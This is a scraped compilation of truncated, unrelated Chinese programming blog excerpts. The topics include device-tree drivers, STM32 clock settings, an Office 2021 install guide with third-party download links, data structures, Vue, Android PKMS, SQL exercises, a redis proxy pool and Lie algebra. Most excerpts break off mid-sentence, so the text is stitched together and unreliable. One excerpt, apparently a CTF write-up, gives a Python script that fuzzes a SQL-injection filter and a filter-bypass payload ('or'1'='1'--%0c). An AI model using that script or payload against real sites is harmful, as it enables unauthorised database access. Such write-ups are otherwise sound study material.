前言 利用设备树来使用或者编写驱动程序,需要梳理哪些概念?
如何理解驱动程序、设备树、platform、device、driver之间的关系 前言一、总线设备驱动模型——总线、设备、驱动二、从代码中看driver与device的关系module_platform_driver的作用 三、设备树的应用(一)设备树的解析(二)设备树的解析函数 一、总线设备驱动模型——总线、设备、驱动 首先要理解驱动程序模型是分离的,分层的。
所谓分离是指:硬件的资源信息(地址、中断、DMA等),与软件驱动代码是分离的。硬件的资源信息是通过设备树来描述的,设备树由内核在启动时解析并注册为platform_device。
所谓分层是指:分上下两层,device和driver都注册、挂载在bus(总线)下面。
设备device与设备树device tree相关。满足一定条件的compatible时(这些特殊的compatilbe属性为: “simple-bus”,“simple-mfd”,“isa”,"arm,amba-bus "),设备树被转换并注册成platform_device。
驱动driver代码要重点理解probe函数。因为内核启动时就已经注册device,所以手动insmod是注册driver。也就是说,在利用设备树时,是先注册device,后注册driver。当driver与device的compatible相匹配时,会调用probe。
device与driver相匹配,是通过在drivers/base/dd.c中driver_attach函数来完成。一旦match成功,则调用driver里的probe函数。
对于传统写法,match函数是直接比较name。对于使用设备树的情况下,match函数通过 platform_driver -> driver -> of_match_table -> compatile 来与设备节点做匹配。
无设备树: 使用 xxx_driver.driver.name 进行设备匹配
有设备树: 使用 xxx_driver.driver.of_match_table 进行设备匹配
另外,bus的注册具体参考下文:
驱动程序分层分离概念-总线设备驱动模型
linux设备驱动——总线、设备、驱动_设备和总线驱动
二、从代码中看driver与device的关系 以led驱动为例。
首先内存分配一个led设备。注意:.name与driver驱动的名字一样。 static struct platform_device led_dev = { .name = "cbt_led", //对应的platform_driver驱动的名字 .id = -1, //表示只有一个设备 .num_resources = ARRAY_SIZE(led_resource), //资源数量,ARRAY_SIZE()函数:获取数量 .resource = led_resource, //资源数组led_resource .dev = { .release = led_release, //释放函数,必须向内核提供一个release函数, 、 //否则卸载时,内核找不到该函数会报错 }, }; 分配设置一个led的驱动driver struct platform_driver led_drv = { .
1.添加CBAM
1)修改commom.py
在代码最后添加
#CBAM class ChannelAttention(nn.Module): def __init__(self, in_planes, ratio=16): super(ChannelAttention, self).__init__() self.avg_pool = nn.AdaptiveAvgPool2d(1) self.max_pool = nn.AdaptiveMaxPool2d(1) # in_planes // ratio 这里会出现如下警告: # UserWarning: __floordiv__ is deprecated(被舍弃了), and its behavior will change in a future version of pytorch. # It currently rounds toward 0 (like the 'trunc' function NOT 'floor'). # This results in incorrect rounding for negative values. # To keep the current behavior, use torch.div(a, b, rounding_mode='trunc'), # or for actual floor division, use torch.
首先声明,使用的芯片为STM32F407ZET6、使用标准库。
问题简述:使用串口作为调试用时,发现串口调试助手接收到的数据显示乱码,更改单片机、调试助手的波特率后还为解决。但发现一个有趣的问题,串口调试助手下发的数据再由单片机上传是无错误的。串口调试助手的问题可以排除,故问题出在了单片机一侧。
解决思路:既然串口调试助手、波特率的问题都排除掉了,进而就怀疑到了单片机的时钟上。
经过排查,发现我的板子上使用的是8MHz的晶振,而F4的标准库默认为25MHz晶振。
在 stm32f4xx.h 文件中,我找到如下定义:
具体位置大概在120行
/** * @brief In the following line adjust the value of External High Speed oscillator (HSE) used in your application Tip: To avoid modifying this file each time you need to use different HSE, you can define the HSE value in your toolchain compiler preprocessor. */ #if !defined (HSE_VALUE) #define HSE_VALUE ((uint32_t)25000000) /*!< Value of the External oscillator in Hz */ #endif /* HSE_VALUE */ In the following line adjust the value of External High Speed oscillator (HSE) used in your application(在下一行中,调整应用中使用的外部高速振荡器(HSE)的值)
哈喽,大家好。今天一起学习的是office2021的安装,有兴趣的小伙伴也可以来一起试试手。
一、测试演示参数 演示操作系统:Windows 11
支持Win10安装,不支持Win7、XP系统
系统类型:64位
演示版本:cn_office_professional_plus_2021_x86_x64_dvd_59c3103a.iso
二、下载学习 1、原版镜像 【Microsoft Office 2021 原版镜像】
http://ai95.microsoft-cloud.cn/d/9289114-49846499-1d37ed?p=ai95 (访问密码:ai95)持续更新...... 2.1.1 镜像文件一览
2、系统运行库 【常用运行库】(可选)
http://ai95.microsoft-cloud.cn/d/9289114-55567492-c50fb0?p=ai95 (访问密码:ai95)持续更新...... 2.2.1 运行库文件一览
3、卸载工具 【原版彻底卸载工具】
http://ai95.microsoft-cloud.cn/d/9289114-49862522-f9b757?p=ai95 (访问密码:ai95)持续更新...... 2.3.1 官方卸载工具包一览
2.3.2 官方卸载工具一览
三、开始学习 原版镜像文件包一览
3.1 镜像文件详情
双击打开,找到【setup.exe】并打开
3.2 打开安装
等待office程序加载
3.3 程序加载中
正在自动安装office,整个过程只需等待即可
注意:自office2019原装版本开始便是自动安装了,一般默认安装在c盘,兼容性好,也不建议安装到其他的盘符。
3.4 自动安装
安装完成,会有已完成界面的提示框
3.5 安装完成
安装完成之后一般默认不会在桌面显示快捷方式,需要自己在【开始】菜单中找到,并打开文件位置进行设置
3.6 打开文件位置
选择需要创建的桌面快捷方式应用
3.7 创建快捷方式
打开任意应用进行首次使用设置
3.8 打开应用
好多伙伴应该像我一样,在做ensp实验过程中,好多英文单词不知道什么意思,还要上网搜索单词意思,这就比较麻烦,也浪费时间。因此,小编发现了新大陆!!!
只有以上两个设备可以更改语言(目前只对交换机和路由器做了测试),操作方法:
在用户视图下输入 language-mode chinese Change language mode, confirm? [Y/N] y
路由器同样操作方法,英文不好的伙伴快去试试把!
过滤的东西不多,可以手测测出来
这里给出一个fuzz脚本
import requests import re com = re.compile("admin") def repisTrue(char): url = f"http://自己环境的网址/api/?id=1%27and%27{char}%27=%27{char}&page=1&limit=10" res = requests.get(url) w = com.search(res.text) if w is not None: return True return False if __name__ == '__main__': all = [] no = [] for i in range(1,128): if repisTrue(chr(i)): all.append((i,chr(i))) else: no.append((i,chr(i))) print("all:",all) print("no:",no) 这里是运行结果
看得出来,%09,%0a,%0b,%0d,空格这些都让过滤了
这里用 %0c
payload:'or'1'='1'--%0c
目录
1. 二叉搜索树(BST)
1.1 二叉搜索树概念
1.2 二叉搜索树操作
1.2.1 二叉搜索树的查找
1.2.2 二叉搜索树的插入 1.2.3 二叉搜索树的删除
2. 二叉搜索树的实现
2.1BST基本结构
2.2 BST操作成员函数(非递归)
2.3 BST操作成员函数(递归)
3. 二叉搜索树的应用
4. 二叉搜索树的性能分析
1. 二叉搜索树(BST) 1.1 二叉搜索树概念 二叉搜索树又称二叉排序树,它或者是一棵空树,或者是具有以下性质的二叉树:
若它的左子树不为空,则左子树上所有节点的值都小于根节点的值若它的右子树不为空,则右子树上所有节点的值都大于根节点的值它的左右子树也分别为二叉搜索树 我举几个例子,更直观的看清楚结构:
1.2 二叉搜索树操作 int a[] = {8, 3, 1, 10, 6, 4, 7, 14, 13}; 1.2.1 二叉搜索树的查找 从根开始比较,查找,比根大则往右边走查找,比根小则往左边走查找。最多查找高度次,走到空,还没找到,则这个值不存在。 1.2.2 二叉搜索树的插入 插入的具体过程如下:
树为空,则直接新增节点,赋值给root指针树不为空,按二叉搜索树性质查找插入的位置,插入新节点(记录父节点,判断插入的节点应该在父节点的左子树还是右子树) 1.2.3 二叉搜索树的删除 首先查找元素是否在二叉搜索树中,如果不存在,则返回, 否则要删除的结点可能分下面四种情 况: a. 要删除的结点无孩子结点 b. 要删除的结点只有左孩子结点 c. 要删除的结点只有右孩子结点 d. 要删除的结点有左、右孩子结点 看似删除节点有4种情况,但实际上a和b和c可以合并,这样就只有2种情况了:
a:待删除的结点无孩子/只有一个孩子:删除结点并使父亲结点指向被删除结点的孩子结点(无孩子视为孩子是空结点,任意指向一个即可)
b:待删除的结点有左右孩子:采用替换法,寻找删除结点右子树的最小结点(右子树最左结点),将最小结点的值和删除结点的值替换,然后删除最小结点(此时最小结点,要么没有孩子,要么只有一个孩子,符合a情况可以直接删除)
2. 二叉搜索树的实现 2.
count() 方法用于统计字符串里某个字符或子字符串出现的次数.
st1 = input().upper() st2 = input().upper() print(st1.count(st2)) tips:
只要将所有字符串统一转化为大写或者小写,计算次数即可。
upper()全部转化为大写lower()全部转化为小写
另: str.count(sub, start= 0,end=len(string)) 可选参数为在字符串搜索的开始与结束位置
用lambda表达式去查找(较复杂,仅查单字符)
def checkStr(str_source,str_check):#str_source:源字符串;str_check:要检查字符 return sum(map(lambda check:str_check.count(check),str_source)) print(checkStr('ababa','a'))#->3 用str.split去查找(较简单,可以多字符查询)
def checkStr1(str_source,str_check):#str_source:源字符串;str_check:要检查字符 splits = str_source.split(str_check)#返回拆分数组 return len(splits)-1#返回拆分次数-1 print(checkStr1('ababa','ba'))#->2
C++单元测试Gtest+Stub攻略 前言环境搭建编写单元测试gtest的使用Stub/StubExt的使用 前言 笔者环境为linux环境(deepin),以下均在此环境进行
环境搭建 Gtest源码链接
Stub源码链接
StubExt源码链接
Stub的使用方法在cpp-stub/README_zh.md中有讲解
StubExt的使用方法在 cpp-stub-ext/ README.md中有讲解
StubExt可支持Lambda表达式进行打桩写Gtest时如果想获取一个固定的返回值或者出参十分好用
搭建环境时如果不想下载Gtest源码可以直接使用Stub中提供的Gtest库
仔细阅读README中说明,查看Stub源码提供的Demo
stubext.h中需要引用stub.h,并且需要将stub.h中的private改为protected
写Gtest时只要引用
#include “gtest/gtest.h”
#include “stubext.h”
#include “addr_pri.h”
编写单元测试 gtest的使用 Gtest提供了几个不同case方法进行测试不同的用例。主要常见的有TEST/TEST_F及TEST_P宏的使用。在每个TestCase中可以通过断言提供的方法进行控制检查程序的预期走向是否是期望的结果,从而以此来判定程序的正确性。
TEST的第一个参数一般情况下使用类名或者文件名,第二个参数一般情况下写要测试的函数名,如果一个函数需要写多个测试用例第二个参数增加一些后缀区分
TEST(test_case_name, test_name){ //编写你的TestCase //使用EXPECT_EQ,ASSERT_EQ等去判断TestCase的值是否和期望值一致 } 这里说下EXPECT_*和ASSERT_*的区别,EXPECT_*如果当前不成立会继续执行当前TestCase而ASSERT_*如果不成立会直接结束当前TestCase
TEST_F的第一个参数为TestBase第二个参数一般情况下写要测试的函数名,如果一个函数需要写多个测试用例第二个参数增加一些后缀区分
class TestTmp{ public: void setA(int a){ this->a=a; } int getA(){ return a; } private: int a; }; class TestBase : public ::testing::Test { protected: // 为测试准备数据对象 void SetUp() override { t.setA(10); } // 清除资源 void TearDown() override { } TestTmp t; }; TEST_F(TestBase,test1){ int b =t.
Vue.JS文章
EFcore 查询语句
WebApi 跨域方法请求
Vue+axios 发送网页请求
Vue -Router 定向
elementUI 组件
EFcore 多表连接 Join函数用法
多表查询示例+多个查询条件拼接
反射获取对象属性
record 类解释说明
以DataSelect为例表单验证
Excel表格实现
Table-转成Excel表格详解
复杂表格设计
Vue 父子组件定义 以及参数
超链接 以及 控制列的动态显隐
Vue下拉框分页 以及 模糊查询
Vue组件封装
需求:使用vant List列表组件实现页面分页加载,分页数据后端返回 template模版:
<van-list v-if="!noData" v-model:loading="loadingpage" :finished="finishedpage" finished-text="没有更多数据了" @load="onLoad" > <div class="recommendItem" v-for="(item, index) in collectPositioninfoList" :key="index" @click="recommendItemClick(item.id)" > </div> </van-list> js分页写法
// 定义接口参数 const current = ref(1) const size = 10 const total = ref(0) // 定义分页相关数据 const loadingpage = ref(false) const finishedpage = ref(false) // 控制占位图显示 const noData = ref(false) // 定义接口数据数组 const collectPositioninfoList = ref([]) //封装接口请求数据方法 const getList = async (obj) => { const { data, data: { records } //对数据 data 和列表数据 records 进行结构 } = await collectPositioninfoApi(obj) //调用后端接口 if (records.
目录
1. PackageManagerService概述
1.1 PackageManagerService职责
1.2 PKMS内部三把重要的锁
1.3 PKMS在SystemServer中全部业务
2. PKMS的启动
2.1 SystemServer.startBootstrapServices()
2.2 PackageManagerService.main()
2.3 PackageManagerService构造函数
2.3.1 PKMS构造函数BOOT_PROGRESS_PMS_START阶段
2.3.2 PKMS构造函数BOOT_PROGRESS_PMS_SYSTEM_SCAN_START 阶段
2.3.3 PKMS构造函数BOOT_PROGRESS_PMS_DATA_SCAN 阶段
2.3.4 PKMS构造函数BOOT_PROGRESS_PMS_READY阶段
2.4 PKMS.installWhitelistedSystemPackages()
2.5 PackageManagerNative类
1. PackageManagerService概述 1.1 PackageManagerService职责 PackageManagerService(简称PKMS)的官方解释:随时随地跟踪所有的APKs。主要职责分为:
启动过程中扫描App所有安装目录,解析其中的Apk将相关信息加载到PKMS的数据结构中,同时同步到/data/system/packages.xml中;注册APK信息和其四大组件到PKMS中。负责App的安装和卸载。对外提供接口查询App相关信息。 1.2 PKMS内部三把重要的锁 mLock:用来守护内存中解析的package详情和其他相关状态。这是一个细粒度的锁,只应该短暂持有,因为它是系统中竞争最激烈的锁之一。
mInstallLock :用来守护所有对installd的访问,其操作通常涉及到磁盘上应用数据繁重的读写操作。由于installd是单线程,它的操作经常会很慢,因此在持有该锁的情况下不能再获取该锁。相反,在持有该锁时如果短暂获取mLock锁时安全的。(关于installd请参考)
mSnapshotLock : 用来守护对两个snapshot字段的访问:snapshot本身和snapshot 失效标志。当持有mLock锁时不能获取该锁,相反,在持有mSnapshotLock锁时暂时获取mLock锁是安全的。
final PackageManagerTracedLock mLock; final Object mInstallLock; private final Object mSnapshotLock = new Object(); 1.3 PKMS在SystemServer中全部业务 PKMS在SystemServer.startBootstrapService()中调用PKMS.main()启动PKMS;如果设备没加密,则管理A/B OTA dexopting;
在SystemServer.startOtherServices()中,如果设备没加密,调用PKMS.updatePackagesIfNeeded()完成dex优化;调用PKMS.performFstrimIfNeeded()完成磁盘维护;最后调用PKMS.systemReady()服务启动就绪;最后调用PKMS.waitForAppDataPrepared()等待所有package准备就绪,整个过程如下图所示:
主要涉及的文件有:
/frameworks/base/services/core/java/com/android/server/pm/PackageManagerService.java,代码参考地址:PackageManagerService.java
/frameworks/native/libs/binder/aidl/android/content/pm/IPackageManagerNative.aidl,代码参考地址:IPackageManagerNative.aidl
/frameworks/base/core/java/android/content/pm/IPackageManager.aidl,代码参考地址:IPackageManager.aidl
目录
1、什么是带宽?
2、什么是宽带速率?
3、什么是吞吐量?
4、什么是时延?
5、什么是时延带宽积?
6、什么是往返时延(RTT)?
7、什么是网络带宽利用率?
计算机网络中常用的性能指标有:速率、带宽、吞吐量、时延、时延带宽积、往返时间(Round-Trip Time,简称RTT)、利用率
1、什么是带宽? 带宽,是“频带宽度”的简称,原是通讯和电子技术中的一个术语,指通讯线路或设备所能传送信号的范围。网络宽带(Broadband)是指在单位时间(一般指的是1秒钟)内能传输的数据量。在数据通信领域中,带宽是指数字信道所能传送的最高的数据率。
如图,在个人计算机上查看当前使用网络的带宽:
宽带连接可以基于不同的传输介质,包括:
光纤(Fiber Optics):使用光纤作为传输介质,通过光的传输实现高速数据传输。数字用户线路(DSL,Digital Subscriber Line):通过普通电话线传输数字信号,提供高速的宽带连接。电缆调制解调器(Cable Modem):利用有线电视网络提供宽带连接,适用于家庭和商业用户。无线网络(Wireless Network):利用无线技术(如Wi-Fi)提供宽带连接,使用户可以通过无线方式访问互联网。 网络和高速公路类似,带宽越大,就类似高速公路的车道越多,其通行能力越强。
信道图示:
2、什么是宽带速率? 宽带速率(Broadband Speed)指的是网络连接的数据传输速度,也称为网络带宽速率。它表示在单位时间内通过网络传输的数据量。一般宽带速率越高,上传和下载的越快。它的单位是 b/s kb/s Mb/s Gb/s
bit是表示信息的最小单位,叫做二进制位;一般用0和1表示。Byte叫做字节,由8个位(8bit)组成一个字节(1Byte),用于表示计算机中的一个字符。bit与Byte之间的换算关系为:1Byte=8bit(或简写为:1B=8b);在实际应用中一般用简称,即1bit简写为1b(注意是小写英文字母b),1Byte简写为1B(注意是大写英文字母B) 实际网路中的速率换算:
在计算机网络中,一般宽带速率的单位用bps(或b/s)表示;bps(bit per second)表示每秒钟传输多少位信息。所以1M 的带宽指的是1Mbps(注意是Mbps不是MBps)。
换算公式:
1B=8b 1B/s=8b/s 或 1Bps=8bps 规范提示:B表示Byte(字节),b表示bit(比特),但在实际的生活中常常把bit和Byte都混写为b ,如把Mb/s和MB/s都混写为Mb/s,导致人们在实际计算中常因单位的混淆而出错。比如以下的情况:
在实际的网应用中,常常会看到诸如下载速度显示为 128KBps(KB/s),103KB/s等宽带速率大小的字样,因为ISP提供的线路带宽使用的单位是比特,而一般下载软件显示的是字节(1字节=8比特),所以需要通过换算,才能得到实际的宽带速率。
接下来按照换算公式换算一下:
128KB/s=128×8(Kb/s)=1024Kb/s=1Mb/s 即 128KB/s = 1Mbps 1Mbps=1024Kbps=1024/8KBps=128KB/s 现在来看,图中的4.6KB/S,也就36.8Kb/s的宽带速率。//现在来看低到令人发指
宽带速率与网络连接类型和服务提供商有关。不同类型的网络连接(如光纤、数字用户线路(DSL)、电缆调制解调器、无线网络等)以及不同的服务计划(如家庭宽带、企业宽带)可能提供不同的宽带速率。
3、什么是吞吐量? 吞吐量(Throughput)是指在特定时间段内通过网络或系统传输的数据量或处理能力。它是衡量网络或系统性能的重要指标之一。// 单位时间内处理数据的能力
吞吐量通常以每秒传输的字节数或数据包数来衡量。较高的吞吐量表示网络或系统可以更快地处理数据,具有更高的传输能力和处理能力。
吞吐量可以涉及多个层面:
网络吞吐量:网络吞吐量指的是在网络中传输的数据量。它表示网络连接的带宽利用率和传输速度。较高的网络吞吐量意味着网络可以传输更多的数据,从而实现更快的下载、上传和数据传输速度。系统吞吐量:系统吞吐量指的是计算机系统或服务器处理数据的能力。它表示系统在特定时间内处理的数据量。较高的系统吞吐量表示系统可以更快地处理数据请求和计算任务。存储吞吐量:存储吞吐量指的是存储系统读取或写入数据的速度。它表示存储系统在特定时间内传输的数据量。较高的存储吞吐量意味着存储系统可以更快地读取或写入数据。 吞吐量是评估网络、系统或存储性能的关键指标之一。此文中,我们关注的吞吐量为网络吞吐量。它的单位是 b/s kb/s Mb/s Gb/s
4、什么是时延? 时延(Delay)在计算机网络中指的是数据从发送端到接收端所经历的时间延迟。它是网络中数据传输和处理所需的时间量度。
时延可以分为以下几个主要类型:// 时延=发送时延+传播时延+处理时延+排队时延
发送延迟(Send Delay):是指在发送数据之前产生的延迟,即从数据准备好到实际开始发送之间的时间延迟。它取决于数据的大小和网络连接的带宽速率。较大的数据量或较低的带宽速率会增加传输延迟。// 发送延迟与带宽有关传播延迟(Propagation Delay):传播延迟是指数据从发送端到接收端所需的物理传播时间。它取决于数据在传输介质中传播的速度和距离。较长的传输距离或较慢的传播速度会增加传播延迟。处理延迟(Processing Delay):处理延迟是指数据在网络设备(如路由器、交换机)上进行处理所需的时间。它包括了设备对数据进行处理、查找路由表、进行转发等操作的时间。排队延迟(Queuing Delay):排队延迟是指数据在网络设备的输入或输出队列中等待处理的时间。当网络设备负载过高或数据量过大时,可能会发生排队延迟。 较低的时延可以实现更快的数据传输和响应时间,尤其对于实时应用(如实时视频、语音通话、在线游戏)和对延迟敏感的应用(如金融交易)至关重要。一般,发送时延与传播时延是我们主要考虑的。对于报文长度较大的情况,发送时延是主要矛盾;报文长度较小的情况,传播时延是主要矛盾。
SQL初学、精通者必看:10个学生成绩查询史上最强技巧全攻略 本文提供了一个含有学生、成绩、课程和教师信息的完整数据库,并为读者提供了 SQL 查询练习题,还包含了练习的答案以及解析。这些题目旨在帮助有一定SQL使用经验的读者更深入地了解学生成绩相关的知识,也有助于初学者提高其SQL使用技能。这些题目涉及学生成绩排名、平均成绩、选修课程及格率、选课信息等多个方面,且不同的题目有着不同的难度和解题思路。如果您是SQL查询方面的新手,这些题目可能会极具挑战性。但是,如果您已经具备一定的SQL使用经验,这些题目将是一个很好的检验和提高自己技能的途径。
一、完整数据库信息 – 创建课程表,用于存储课程信息 CREATE TABLE `course` ( `c_id` int(8) NOT NULL COMMENT '课程ID', `c_name` varchar(16) DEFAULT NULL COMMENT '课程名称', `t_id` int(8) DEFAULT NULL COMMENT '教师ID', PRIMARY KEY (`c_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='课程表'; – 插入课程信息 INSERT INTO `course`(`c_id`,`c_name`,`t_id`) VALUES(1,'语文',2),(2,'数学',1),(3,'英语',3); – 创建成绩表,用于存储学生课程成绩 CREATE TABLE `score` ( `s_id` int(8) DEFAULT NULL COMMENT '学生ID', `c_id` int(8) DEFAULT NULL COMMENT '课程ID', `s_score` int(8) DEFAULT NULL COMMENT '成绩', INDEX `idx_score_cid`(`c_id`) COMMENT '基于课程ID的索引' ) ENGINE=InnoDB DEFAULT CHARSET=latin1 COMMENT='成绩表'; – 插入学生课程成绩信息 INSERT INTO `score`(`s_id`,`c_id`,`s_score`) VALUES (1,1,80),(1,2,90),(1,3,99),(2,1,70),(2,2,60),(2,3,80), (3,1,80),(3,2,80),(3,3,80),(4,1,50),(4,2,30),(4,3,20), (5,1,76),(5,3,87),(6,1,31),(6,3,34),(7,3,89),(7,1,98); – 创建学生表,用于存储学生信息 CREATE TABLE `student` ( `s_id` int(8) NOT NULL AUTO_INCREMENT COMMENT '学生ID', `s_name` varchar(16) DEFAULT NULL COMMENT '学生姓名', `s_birth` date DEFAULT NULL COMMENT '学生出生日期', `s_sex` char(1) DEFAULT NULL COMMENT '学生性别', PRIMARY KEY (`s_id`) ) ENGINE=InnoDB AUTO_INCREMENT=10 DEFAULT CHARSET=utf8 COMMENT='学生表'; – 插入学生信息 INSERT INTO `student`(`s_id`,`s_name`,`s_birth`,`s_sex`) VALUES (1,'赵磊','2021-07-30','男'),(2,'钱电','2021-07-30','男'), (3,'孙峰','2021-07-29','男'),(4,'李白','2021-07-14','女'), (5,'二狗','2021-07-21','男'),(6,'吴兰','2021-07-07','女'), (7,'李顺','2021-07-13','女'),(8,'舟券','2021-09-01','男'), (9,'无邪','2021-07-07','男'); – 创建教师表,用于存储教师信息 CREATE TABLE `teacher` ( `t_id` int(8) NOT NULL AUTO_INCREMENT COMMENT '教师ID', `t_name` varchar(16) DEFAULT NULL COMMENT '教师姓名', PRIMARY KEY (`t_id`) ) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8 COMMENT='教师表'; – 插入教师信息 INSERT INTO `teacher`(`t_id`,`t_name`) VALUES(1,'张三'),(2,'李四'); 二、10个学生成绩查询题 问题1 - 查询"
Java中正则表达式的转义问题
正则表达式是计算机科学中常用的一种处理文本的方法。Java中提供了java.util.regex包来支持正则表达式操作。在使用正则表达式时,我们需要注意正则表达式中的转义字符问题,否则可能会导致无法匹配到想要的结果。
Java中正则表达式的转义问题
一、Java中的转义字符
在Java中,反斜杠(\)是特殊字符,用于转义其他字符。例如,我们可以使用“\t”来表示制表符,使用“\n”来表示换行符。在字符串中,如果我们想要表示一个反斜杠字符本身,我们需要使用“\\”来转义它。例如,字符串“\\”表示一个反斜杠字符。
二、Java中正则表达式中的转义字符
Java中正则表达式和普通字符串的处理方式有所不同。因为正则表达式中的一些字符在普通字符串中也是有特殊含义的,所以在正则表达式中需要使用反斜杠来转义这些特殊字符。例如,正则表达式中“\d”表示一个数字字符,“\s”表示一个空白字符,“\w”表示一个字母、数字或下划线字符。在正则表达式中,如果我们想要表示一个反斜杠字符本身,我们同样需要使用“\\”来转义它。例如,正则表达式“\\d”表示一个数字字符。
三、Java中的转义字符和正则表达式的转义字符混用
在处理正则表达式时,我们有时需要在普通字符串中插入正则表达式。这时就会出现转义字符和正则表达式转义字符混用的情况。例如,我们想要匹配字符“\”本身,正则表达式应该为“\\”,而在Java字符串中,我们需要写成“\\\\”。代码如下:
String regex = \\\\String str = \boolean result = str.matches(regex);
在上面的代码中,regex表示正则表达式“\\”,str表示字符串“\”,result表示是否匹配成功。
四、Java中正则表达式中的特殊字符
除了前面提到的“\d”、“\s”、“\w”等特殊字符外,正则表达式中还有一些特殊字符。这些特殊字符在Java中同样需要使用反斜杠来转义。
例如,“.”表示匹配任意字符,如果我们想要匹配字符“.”本身,正则表达式应该为“\.”,在Java字符串中需要写成“\\.”。
又如,“+”表示匹配一个或多个前面的字符,如果我们想要匹配字符“+”本身,正则表达式应该为“\\+”,在Java字符串中需要写成“\\+”。
总之,在使用Java中正则表达式时,我们需要注意转义字符的问题。如果没有正确转义,可能会导致无法匹配到想要的结果。因此,在编写正则表达式时,我们需要仔细考虑每个字符的含义,并根据需要进行转义。
在 ~/.bash_profile 中配置环境变量, 可是每次重启终端后配置的不生效.需要重新执行
source ~/.bash_profile 后来发现zsh加载的是 ~/.zshrc文件,而 .zshrc文件中并没有定义任务环境变量(或者此文件不存在)。
解决办法
在~/.zshrc(不存在则创建它)文件最后,增加一行:source ~/.bash_profile
open ~/.zshrc
友元入门友元的使用带有命名空间的函数声明类的前向声明friend直接修饰类的好处 友元特性友元重构(友元运算符重载)类重构全局重构友元重构 友元入门 友元friend
可以将一个函数或类进行friend修饰
修饰后的函数和类可以直接在外部访问调用本类的所有成员
友元的位置无需在意是否为public还是private
class Point { public: //在类中用friend声明该函数,在外部定义 friend void display(const Point& p); //在类中修饰另一个类,另一个类可直接访问该类对象的成员 friend class Line; private: int _ix; int _iy; }; //friend修饰声明需要friend开头,定义时不需要带 void display(const Point& p) { cout << p._ix; cout << p._iy << endl; } class Line { public: void print(const Point& p) { cout << p._ix; } }; 具体实现
#include <iostream> #include <cmath> using std::cout; using std::endl; class Point { public: friend void distance(const Point& p1, const Point& p2); friend void display(const Point& p); friend class Line; Point(const int& ix, const int& iy) :_ix(ix) , _iy(iy) { cout << "
@Python之redis+proxy_pool构建ip代理池
一.安装redis redis下载地址 https://github.com/tporadowski/redis/releases
以该版本为例下载并解压,如下内容
在当前路径位置输入cmd,按Enter键进入
使用以下命令运行redis:
redis-server.exe redis.windows.conf 连接redis
redis-cli.exe -h 127.0.0.1 -p 6379 设置键值对
set myKey abc 取出键值对
get myKey 设置密码
config get requirepass config set requirepass 123456 #密码设置为1233456 重新登陆
redis-cli.exe -h 127.0.0.1 -p 6379 -a 123456 二.proxy_pool 下载proxy_pool https://github.com/jhao104/proxy_pool
下载后解压缩
修改setting.py 配置文件,修改本地的redis密码上去
DB_CONN = 'redis://:123456@127.0.0.1:6379/0' 当前路径下输入cmd敲回车进入面板
安装依赖包:
pip install -r requirements.txt 输入以下命令
# 启动调度程序 python proxyPool.py schedule # 启动webApi服务 python proxyPool.py server 访问本地网址,,http://127.0.0.1:5010/get/
获取到ip地址,刷新一次更换一次ip地址
即安装成功
python测试 import requests proxy = requests.
李群与李代数 前言定义群李群李代数 李群与李代数的关系李代数求导扰动模型 旋转矩阵是一个正交且行列式为1的矩阵。 本文总结的是一些用在机器人slam中的李群李代数知识,并非数学专业,不够严谨见谅。 前言 本文设想你已经了解了旋转矩阵的知识,并且看过一些李群和李代数的资料,比如视觉slam十七四讲之类的,在此基础上我们试图抛开一些繁琐的公式推导,尽可能去描述一下李群李代数在干什么这件事。很明确的一点是,引入李代数是为了求导。
我们知道由旋转矩阵和乘法构成李群SO(3),通常在机器人位姿优化问题中需要求导,如:R=R+ Δ R \varDelta{R} ΔR,但是这样做显然是不对的,因为旋转的叠加是乘的关系如:R Δ R \varDelta{R} ΔR,这也被描述为:SO(3)对加法不封闭。为了解决这个问题引入李代数。下面我们一起来看:
定义 群 群是一种集合加上一种运算的代数结构。 我们把集合记作A,运算记作.,那么群可以记作G=(A,.)。满足:封闭性、结合律、幺元及逆。
李群 李群是一种连续(光滑)的群。
李代数 李代数由一个集合V、一个数域F和一个二元运算[,]组成,记作(V,F,[,])。 [,]称为李括号。满足:封闭性、双线性、自反性和雅可比等价。
eg:三维向量 R 3 \Reals^3 R3上定义的x积是一种李括号 ,g=( R 3 \Reals^3 R3, R \Reals R,x)构成了李代数。
李群与李代数的关系 大致了解了李群李代数的定义后,我们重点来理解李群李代数的关系。
前面给出了李群李代数的基本定义,那么现在我们来看一下他们之间的关系,直接给出答案,一个SO(3)群,也就是三维特殊正交群,与他对应的李代数之间的关系为:
R = e ϕ ∧ R=e^{\phi^\wedge} R=eϕ∧ ϕ ∧ \phi^\wedge ϕ∧是一个反对称矩阵,称作SO(3)的李代数。具体推导可以参考视觉slam14讲。
参考知乎上[如何通俗的解释李群和李代数的关系]这篇文章(https://www.zhihu.com/question/356466246/answer/2612548870)
其实李代数相当于定义在三维空间(球面)上绕定轴旋转运动时的速度, 速度方向与转轴和t时刻位矢呈法向, 也就球面上某点处所谓的切空间 ,这个球面的局部就叫流形。(大致就是这个意思,好吧,我也不是很懂,哈哈,但是不重要,只要知道了以上旋转矩阵和李代数的对应关系,那就接着往下看)。
李代数求导 知道了以上李群与李代数的指数映射关系,那么我们来看看求导问题:
通过R对空间中一点p进行旋转得到Rp,求旋转后的导数
∂ R p ∂ R \frac{\partial{Rp}}{\partial{R}} ∂R∂Rp
由于R对加法不封闭,转化为为李代数 ϕ \phi ϕ求导, ϕ \phi ϕ是反对称矩阵对应的向量,对加法是封闭的。为:
网站、APP等应用的安全性也越来越重要。在开发应用的过程中,为了保护代码不被恶意攻击者窃取和篡改,代码加密就显得非常有必要了。本文将介绍如何使用php7的加密方法来保护代码的安全性。
一、什么是代码加密? 代码加密是将代码进行转码、混淆或加密,使得运行时无法直接读取代码,增强代码保密性和安全性,从而防止恶意攻击和非法篡改。
二、为什么要使用代码加密? 保护代码安全:加密后的代码,可以防止黑客对其进行破解、窃取等恶意行为;
防止代码抄袭:加密后的代码会变得很难懂,从而防止他人抄袭代码;
提高代码执行效率:在加密的过程中,可以进行一些代码优化,从而提高代码执行效率。
三、如何实现代码加密? 在php7以下版本,可以通过将代码转化为opcode的方式来实现代码加密。在php7及以上版本,可以使用sodium扩展或openssl扩展来加密php代码。本文介绍如何使用sodium扩展进行代码加密。
安装sodium扩展
首先,需要安装sodium扩展,可以通过以下方式:
在Linux系统中,执行:
apt-get install libsodium-dev pecl install libsodium 在Windows系统中可使用[Sodium独立安装包](https://support.microsoft.com/zh-cn/help/2977003/the-latest-supported-visual-c-downloads)进行安装。
加密php代码
代码加密的过程包括以下步骤:
